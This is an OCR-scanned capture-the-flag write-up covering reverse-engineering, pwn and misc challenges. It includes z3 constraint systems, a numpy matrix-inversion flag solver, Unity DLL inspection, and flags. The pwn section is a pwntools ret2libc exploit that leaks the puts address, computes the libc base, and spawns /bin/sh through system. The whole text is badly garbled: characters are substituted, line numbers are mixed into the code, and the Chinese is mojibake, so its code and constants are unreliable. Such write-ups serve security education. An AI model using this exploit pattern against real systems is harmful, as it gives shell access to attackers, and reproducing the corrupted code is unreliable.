65 * g[6] + 1 x g[7] - 36 * g[8] + 0 x g[9] - 16 * g[10] + 96 * g[ll] - 68 *
g[12] + 33 * g[13] - 14 * g[l4] == 1883,

69 x g[0] + 77 % g[1] - 93 % g[2] - 12 % g[3] + 0 % g[4] + 0 x g[5]
1 x g[6] + 16 x g[7] + 36 * g[8] + 6 * g[9] + 19 x g[10] + 66 * g[1ll] 8 *
g[12] + 38 x g[13] - 16 * g[l14] + 15 x g[15] == 8257,

23 * g[o] + 2 = g[1] - 3 * g[2] - 11 * g[3] + 12 * g[4] + 24 * g[5]
1 % g[6] + 6 x g[7] + 14 * g[8] - 0 * g[9] + 1 * g[10] + 68 x g[11l] - 18 *
g[12] + 68 * g[13] - 26 * g[14] + 15 x g[15] - 16 * g[l6] == 5847,

24 x g[0] + 0 * g[1] - 1 * g[2] - 15 * g[3] + 13 x g[4] + 4 x g[5] +
16 * g[6] + 67 * g[7] + 146 * g[8] - 50 * g[9] + 16 * g[l0] + 6 * g[1l1l] - 1 *
g[12] + 69 x g[13] - 27 x g[14] + 45 x g[15] - 6 % g[16] + 17 % g[17] == 18257,

25 x g[0] + 26 x g[1] - 89 % g[2] + 16 * g[3] + 19 x g[4] + 44 * g[5]
+ 36 x g[6] + 66 * g[7] - 150 * g[8] - 250 * g[9] + 166 x g[10] + 126 * g[1l1l]
- 11 x g[12] + 690 * g[13] - 207 * g[1l4] + 46 * g[15] + 6 * g[16] + 7 * g[1l7]
- 18 % g[18] == 12591,

5 g[0] + 26 x g[1] + 8 x g[2] + 160 * g[3] + 9 * g[4] - 4 * g[5] +
36 x g[6] + 6 x g[7] - 15 * g[8] - 20 *x g[9] + 66 * g[l0] + 16 * g[11] - 1 *
g[12] + 690 x g[13] - 20 * g[l1l4] + 46 * g[15] + 6 * g[l6] + 7 x g[17] - 18 *
g[18] + 19 x g[19] == 52041,

29 x g[0] - 26 * g[1] + 0 % g[2] + 60 * g[3] + 90 x g[4] - 4 x g[5] +
6 * g[6] + 6 x g[7] - 16 * g[8] - 21 *x g[9] + 69 * g[10] + 6 * g[1ll] - 12 *
g[12] + 69 * g[13] - 20 * g[14] - 46 x g[15] + 65 * g[l6] + O * g[17] - 1 *
g[18] + 39 x g[19] - 20 * g[20] == 20253,

45 x g[@] - 56 * g[1l] + 10 x g[2] + 650 * g[3] - 900 * g[4] + 44 *
gl5] + 66 x g[6] - 6 * g[7] - 6 * g[8] - 21 * g[9] + 9 * g[10] - 6 * g[1l1l] -
12 * g[12] + 69 x g[13] - 2 * g[1l4] - 406 * g[15] + 651 * g[l6] + 2 * g[17] -
10 * g[18] + 69 % g[19] - 0 * g[20] + 21 % g[21] == 18768,

555 x g[0] - 6666 * g[1l] + 70 * g[2] + 510 * g[3] - 90 * g[4] + 499 *
g[5] + 66 *x g[6] - 66 * g[7] - 610 * g[8] - 221 * g[9] + 9 * g[lO] - 23 *

+

+



g[11] - 102 x g[12] + 6 * g[13] + 2050 * g[14] - 406 * g[15] + 665 * g[l6] +
333 x g[17] + 100 * g[18] + 609 * g[19] + 777 x g[20] + 201 * g[21] - 22 *
g[22] == 111844,

47 1 % g[0] - 22 *x g[1] + 333 % g[2] + 4444 x g[3] - 5555 * g[4] + 6666
* g[5] - 666 * g[6] + 676 * g[7] - 660 *x g[8] - 22 % g[9] + 9 x g[10] - 73 *
g[11] - 107 * g[12] + 6 * g[13] + 250 x g[14] - 6 * g[15] + 65 x g[16] + 39 *
g[17] + 10 * g[18] + 69 * g[19] + 777 * g[20] + 201 * g[21] - 2 * g[22] + 23 *
g[23] == 159029,

3RS F B E T S S KB lag:

HEGIR

from z3 dmport x

from collections {import Counter

Solver ()
[Int(f'g_{i}') for i 1in range(30)]

# AINAIRLIR
constraints = [
7 x g[0] == 504,

© 0o N oo uu b~ W N
(0e]
1l

10 9 x g[0] - 5 x g[1] == 403,

11 2 *x g[0] - 5 % g[1] + 10 * g[2] == 799,

12 3 x g[0] + 8 x g[1] + 15 * g[2] + 20 * g[3] == 2938,

13 5 x g[0] + 15 % g[1] + 20 x g[2] - 19 % g[3] + 1 * g[4] == 2042,

14 7 % g[0] + 1 % g[1] + 9 % g[2] - 11 * g[3] + 2 % g[4] + 5 x g[5] ==
1225,

15 11 * g[0] + 22 x g[1] + 33 * g[2] + 44 x g[3] + 55 * g[4] + 66 * g[5]
- 77 x g[6] == 7975,

16 21 x g[0] + 23 * g[1] + 3 % g[2] + 24 x g[3] - 55 * g[4] + 6 *x g[5] -
7 x g[6] + 15 * g[7] == 229,

17 2 x g[o] + 26 x g[1] + 13 % g[2] + 0 x g[3] - 65 * g[4] + 15 x g[5] +
29 x g[6] + 1 * g[7] + 20 *x g[8] == 2107,

18 10 *x g[0] + 7 x g[1] + -9 x g[2] + 6 * g[3] + 7 x g[4] + 1 x g[5] +
22 x g[6] + 21 * g[7] - 22 * g[8] + 30 * g[9] == 4037,

19 15 x g[0] + 59 * g[1] + 56 x g[2] + 66 * g[3] + 7 * g[4] + 1 * g[5] -
122 * g[6] + 21 x g[7] + 32 * g[8] + 3 * g[9] - 10 x g[l1l0] == 4950,

20 13 * g[0] + 66 *x g[1] + 29 * g[2] + 39 * g[3] - 33 * g[4] + 13 * g[5]
-2 % g[6] + 42 x g[7] + 62 x g[8] + 1 x g[9] - 10 * g[l0] + 11 * g[1l1l] ==
12544,

21 23 x g[0] + 6 x g[1] + 29 % g[2] + 3 % g[3] - 3 x g[4] + 63 * g[5] -

25 x g[6] + 2 * g[7] + 32 * g[8] + 1 x g[9] - 10 * g[1l0] + 11 x g[11] - 12 *
g[12] == 6585,

22 223 * g[0] + 6 * g[1] - 29 * g[2] - 53 x g[3] - 3 x g[4] + 3 » g[5] -
65 * g[6] + 0 x g[7] + 36 * g[8] + 1 x g[9] - 15 * g[10] + 16 * g[1ll] - 18 *
g[12] + 13 % g[13] == 6893,



23

24

25

26

27

28

29

30

31

32

58

34

29 x g[0] + 13 * g[1] - 9 * g[2] - 93 x g[3] + 33 x g[4] + 6 x g[5] +
65 * g[6] + 1 x g[7] - 36 * g[8] + 0 x g[9] - 16 x g[10] + 96 * g[1l1] 68 *
g[12] + 33 % g[13] - 14 x g[14] == 1883,

69 * g[0] + 77 * g[1] - 93 * g[2] - 12 x g[3] + 0 *x g[4] + 0 * g[5] +
1 % g[6] + 16 x g[7] + 36 * g[8] + 6 * g[9] + 19 x g[10] + 66 * g[ll] 8 x
g[12] + 38 x g[13] - 16 * g[14] + 15 x g[15] == 8257,

23 x g[0] + 2 x g[1] - 3 x g[2] - 11 % g[3] + 12 * g[4] + 24 x g[5] +
1+ g[6] +6 * g[7] + 14 x g[8] - 0 * g[9] + 1 * g[10] + 68 * g[11] - 18 *
g[12] + 68 % g[13] - 26 x g[14] + 15 x g[15] - 16 * g[16] == 5847,

24 x g[0] + 0 x g[1] - 1 x g[2] - 15 % g[3] + 13 * g[4] + 4 * g[5] +
16 * g[6] + 67 * g[7] + 146 * g[8] - 50  g[9] + 16 * g[l0] + 6 * g[1l1l] - 1 *
g[12] + 69 * g[13] - 27 * g[l14] + 45 x g[15] - 6 * g[l6] + 17 * g[17] == 18257,

25 x g[0] + 26 x g[1] - 89 x g[2] + 16 % g[3] + 19 * g[4] + 44 * g[5]
+ 36 x g[6] + 66 * g[7] - 150 * g[8] - 250 * g[9] + 166 x g[10] + 126 * g[1l1l]
- 11 x g[12] + 690 * g[13] - 207 * g[1l4] + 46 * g[15] + 6 * g[16] + 7 * g[17]
- 18 * g[18] == 12591,

5 % g[0] + 26 *x g[1] + 8 * g[2] + 160 * g[3] + 9 * g[4] - 4 x g[5] +
36 x g[6] + 6 x g[7] - 15 * g[8] - 20 *x g[9] + 66 * g[l0] + 16 * g[11] - 1 *
g[12] + 690 * g[13] - 20 * g[l4] + 46 * g[15] + 6 * g[l6] + 7 x g[17] - 18 *
g[18] + 19 x g[19] == 52041,

29 x g[0] - 26 x g[1] + 0 * g[2] + 60 * g[3] + 90 x g[4] - 4 x g[5] +
6 * g[6] + 6 x g[7] - 16 * g[8] - 21  g[9] + 69 * g[10] + 6 * g[1l1l] - 12 *
g[12] + 69 * g[13] - 20 * g[14] - 46 x g[15] + 65 * g[l6] + O * g[17] - 1 *
g[18] + 39 » g[19] - 20 * g[20] == 20253,

45 x g[0@] - 56 * g[l] + 10 x g[2] + 650 * g[3] - 900 * g[4] + 44 *
gl5] + 66 x g[6] - 6 * g[7] - 6 * g[8] - 21 x g[9] + 9 x g[10] - 6 » g[ll] -
12 x g[12] + 69 x g[13] - 2 * g[14] - 406 * g[15] + 651 % g[16] + 2 * g[17] -
10 * g[18] + 69 * g[19] - 0 * g[20] + 21 x g[21] == 18768,

555 % g[0] - 6666 * g[1] + 70 * g[2] + 510 * g[3] - 90 * g[4] + 499 =*
g[5] + 66 *x g[6] - 66 * g[7] - 610 * g[8] - 221 * g[9] + 9 * g[1lO] - 23 *
g[11] - 102 * g[12] + 6 x g[13] + 2050 * g[14] - 406 * g[15] + 665 * g[16] +
333 x g[17] + 100 * g[18] + 609 * g[19] + 777 * g[20] + 201 * g[21] - 22 *
g[22] == 111844,

1 % g[0] - 22 * g[1] + 333 % g[2] + 4444 * g[3] - 5555 * g[4] + 6666
* g[5] - 666 *x g[6] + 676 * g[7] - 660 *x g[8] — 22 * g[9] + 9 * g[lO] - 73 *
g[11] - 107 * g[12] + 6 * g[13] + 250 * g[14] - 6 * g[15] + 65 *x g[16] + 39 *
g[17] + 10 * g[18] + 69 * g[19] + 777 * g[20] + 201 * g[21] - 2 * g[22] + 23 %
g[23] == 159029,

520 * g[@] - 222 % g[1] + 333 » g[2] + 4 » g[3] - 56655 * g[4] + 6666
* g[5] + 666 * g[6] + 66 * g[7] - 60 * g[8] - 220 * g[9] + 99 * g[lO] + 73 *
g[11] + 1007 x g[12] + 7777 * g[13] + 2500 * g[14] + 6666 * g[15] + 605 x
g[16] + 390 * g[17] + 100 * g[18] + 609 * g[19] + 99999 * g[20] + 210 * g[21]
+ 232 % g[22] + 23 * g[23] - 24 * g[24] == 2762025,

1323 * g[0] - 22 x g[1] + 333 * g[2] + 4 x g[3] - 55 * g[4] + 666 *
g[5] + 666 * g[6] + 66 *x g[7] - 660 * g[8] - 220 * g[9] + 99 * g[10] + 3 *
g[11] + 100 * g[12] + 777 * g[13] + 2500 * g[14] + 6666 * g[15] + 605 * g[16]

+



+ 390 * g[17] + 100 * g[18] + 609 * g[19] + 9999 % g[20] + 210 * g[21] + 232 *
g[22] + 23 x g[23] - 24 * g[24] + 25 x g[25] == 1551621,

35 777 x g[0] — 22 * g[1] + 6969 * g[2] + 4 * g[3] - 55 x g[4] + 666 *
gl5] - 6 x g[6] + 96 * g[7] - 60 * g[8] - 220 * g[9] + 99 x g[10] + 3 * g[ll]
+ 100 * g[12] + 777 * g[13] + 250 * g[14] + 666 * g[15] + 65 * g[16] + 90 *
g[17] + 100 *x g[18] + 609 % g[19] + 999 * g[20] + 21 x g[21] + 232 * g[22] +
22 x o231 = 24 x o241 + 25 x ol281 — 26 x ol2R1 == Q4R3MRK

KRB E

unityhExk, HEIXEACI: KEZBE\Fruit Ninja_Data\Managed\Assembly-CSharp.dll 5K %!
dnpsy

BRI T— TMEERHENAESHEZ flag, XEIXHEIkey,iv,encryptedhexdatafiEfEtiflag:

Spy v6.1.8 (64-bit, .NET
HF) fHEE) WAV BEHO) #EOW) #EH  © <] Cc# - > EE P

~ X IncreaseScore(int) : void

HZNUCTF{de20-70dd-4e62-b8d0-06e}

randomsystem
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FREGNflaggiv A Lgsd, EENERE
REBEEMF, EabENEEA

o FARENEFTELIM B flag
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o mpAfELRkey, MIEPERENERZH

(ASEEZS
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import numpy as np

data = [
0x178, 0x164, 0x0a9, Ox1f5, Ox115, Ox149, Ox08b, 0x156,
Ox17c, Ox1le6d, 0Ox0a2, 0x102, Ox17d, O0x153, Ox15b, 0x133,
0x107, 0x167, Ox0a2, 0Oxle4, 0x136, 0Ox14d, Ox15a, 0Ox153,
0x096, 0x0c2, Ox0af, 0x158, Ox09%e, Ox0fa, Ox080, OxOaf,
Ox09e, Ox0ad, 0x098, Ox17b, Ox09%e, Ox124, Ox082, 0Ox16d,
Ox0c5, 0x014, 0x0c5, 0x0al, Ox0c6, Ox00a, OxOcf, OxO0f4,
Ox0ca, Ox00e, 0Ox0Occ, 0x0bO, O0x0cl, OxOff, Ox023, OxO007,
0x09e, 0xOb5, Ox091, Ox161, 0x099, 0x165, OxO0f6, Ox097

12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

]

init_array = [
i, 1, 0, 1, 0, 0, 1, O,
0, 1, 1, 60, 0, 1, 0, 1,
0, 6, 1, 1, 0, 1, 1, O,
0, 0, 0, 1, 0, 1, 0, 1,
0, 1, 60, 60, 1, 0, 1, 0,
0, 0, 60, 0, 0, 1, 0, 1,
0, 0, 0, 0, 0, 0, 1, 1,
0, 1, 1, 0, 0, 0, 0, 1

-
-
-
-
-
-
-

rand_table = [
27, 26, 25, 23, 28, 1, 6, 10,
20, 7, 15, 14, 31, 18, 19, 21,
9, 30, 22, 24, 8, 2, 29, 3,
12, 11, 17, 16, 0, 13, 5, 4

key = b'"ReVeReSe"
for i in range(len(data)):
data[i] "= key[i % len(key)]

initMat = np.array(init_array).reshape(8,8)

dataMat = np.array(data).reshape(8,8)
inv = np.linalg.inv(initMat)
result = np.matmul(inv,dataMat).flatten().tolist()

flag = [round(ch) for ch in result]
length = len(flag)
for i in range(length//2 -1,-1,-1):
index = length - rand_table[i] - 1
flag[i], flag[index] = flag[index], flag[i]
print ("HZNUCTF{" + bytes(flag).decode() + "}")

#HZNUCTF{3z1b899ac5c256d-7a8r59f0tccd-4fa6b8vfdlll-a44ffy4rO-6dce5679das58}
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(RS EEZS
1 from pwn dimport *
2
3  context(arch="amd64", os="Tlinux", log_level="debug")
4 #context(arch="i386", os="linux", log_level="debug")
5
6 elf = ELF('./pwn')
7 Tlibc = ELF('./libc.so.6")
8
9 p = process('./pwn")

10 #p = remote('nodel.tgctf.wooo00.tech',31377)

12 puts_plt = elf.plt['puts']

13 puts_got = elf.got['puts']

14 rdi_ret = 0x401176

15 main = 0x401178

16 payload = b"A"x(0x70+8) + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) +

p64(main)
17 p.sendlineafter(b'please leave your name.', payload)
18
19 puts_real_addr = u64(p.recvuntil(b'\x7f")[-6:].1just(8, b'\x00"'))
20 success("puts_real_addr: " + hex(puts_real_addr))
21

22 ret = Ox40101a

23 libc_addr = puts_real_addr - libc.symbols['puts']

24 system = libc_addr + 1libc.symbols['system']

25  bin_sh = libc_addr + next(libc.search(b'/bin/sh'))

26  payload = b"A"x(0x70+8) + p64(ret) + p64(rdi_ret) + p64(bin_sh) + p64(system)
27  p.sendlineafter(b'please leave your name.', payload)

28

29 p.interactive()

Misc
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RO flag.zip x [RiETeAls]

TEHREER - ZIP.bt &

e fl &R
.qw.q«.0,* enum COMPTYPE deCompression
/. IH,K.0IM DOSTIME defileTime

s DOSDATE deFileDate
uint deCrc
uint deCompressedSize
uint deUncompressedSize
ushort deFileNameLength
ushort deExtraFieldLength
ushort deFileCommentLength
ushort deDiskNumberStart
ushort delnternalAttributes
uint deExternalAttributes
uint deHeaderOffset
char deFileName[8]
uchar deExtraField[36]

TGCTF{Warrior_You_have_defeated_the_giant_dragon!}

next is the end

next or end“thigiEEE:

Fuv 43 FH

Ju 15 F

flag{so_great!}

where it is(osint)
BITILEREREINT11, BIIRFEEIE
TGCTF{ 1 k)

BEREE, XF: T HUIMANR s -

=1
COMP_DEFLATE (8)
00:00:00

FBD663E4h

flag.txt
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LS INTGCTF

TGCTF{Efforts to create the strength,
attitude determines altitude.}
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flag{114514}

TeamGipsy&ctfer
NER{AE B



£ NBROSEEGE 4.5.1.3330
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(base) /home/starr
identify -format "%s %T \n" 1.gif
g4
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e 116 -> 't'

e 105 -> "'

¢ 109 ->'m'

e 101 ->'e'

e 33 ->'I"

e 125 -> "'}

HHERTHE:

R IR, SRIRRE

TGCTF{You_caught_up_with_time!}

Plaintext

TGCTF{You_caught_up_with_time!}
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25 wjx.cn/wjx/join/completemobile2.aspx?activityid=hu7yl9l&joinactivity=123568615903&sojumpindex=418&anst=5xKEV7RWbLrztMjetdOzaFyDzEs69UCI8&comsign=7195A95567...  ¥¢ ) e
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TGCTF{Welcome to your next visit!}






